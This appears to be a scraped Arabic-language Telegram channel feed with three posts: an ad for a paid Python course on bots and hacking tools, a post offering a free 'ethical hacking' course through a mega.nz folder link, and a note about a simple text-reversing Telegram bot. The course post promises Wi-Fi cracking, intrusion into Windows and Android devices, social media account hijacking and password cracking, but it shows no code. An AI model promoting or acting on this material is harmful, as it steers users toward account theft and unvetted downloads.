تم فتح كورس لتعلم لغه البرمجه بايثون اختصاص:
1- طريقة عمل بوتات.
2- طريقة عمل ادوات هكر واختراق
3- فهم اللغه نفسها
بسعر مناسب جدا.

للاشتراك والتواصل :
@MrRaph

programming

02 Nov, 08:46


الدورة الشاملة لتعلم القرصنة الأخلاقية من الصفر حتي الاحتراف باللغة العربية ⭐️

⭐️ كورس مجاني دائم لتعلم: دورة تعليمية بقوة المحتويات الاجنبية واكثر وستصبح هكر اخلاقي قادر علي اجراء الاختراقات علي الانظمة المختلفة وحمايتها

⭐️ سوف تتعلم في هذا الكورس :
التعامل مع نظام كالي لينكس باحترافية عالية ودون أي اخطاء او مشاكل
القدرة علي إجراء تجارب الاختراق المختلفة بنجاح
اختراق الشبكات اللاسلكية واي فاي المتوسطه و القوية الحماية
اختراق أنظمة تشغيل ويندوز
اختراق الهواتف العاملة بنظام الاندرويد
قرصنة الحسابات الاجتماعية المختلفة
كسر كلمات المرور للعديد من الانظمة
اكتشاف ثغرات المواقع والهجمات المختلفه عليها
اساسيات لغة البايثون مقدمة من اجل الاختراق و الحماية
⭐️تعلم حماية نفسك من مثل هذه الهجمات
كتابة التقارير الأمنية للانظمة للأفراد و الشركات

⭐️رابط الكورس ⭐️
https://mega.nz/folder/W6ZUCBQQ#CA1GNXwu4szmIvN24pmj-g

🥹🚀@TIJPP

@j39_4

programming

24 Oct, 16:32


بوت تلكرام 🤖

وظيفة البوت عكس الكلام ☯️

حط توكن بوتك بسطر 4 ✏️

وشغل البوت علئ. pydroid او استضافة replit 🌐

py: @j39_4👨‍💻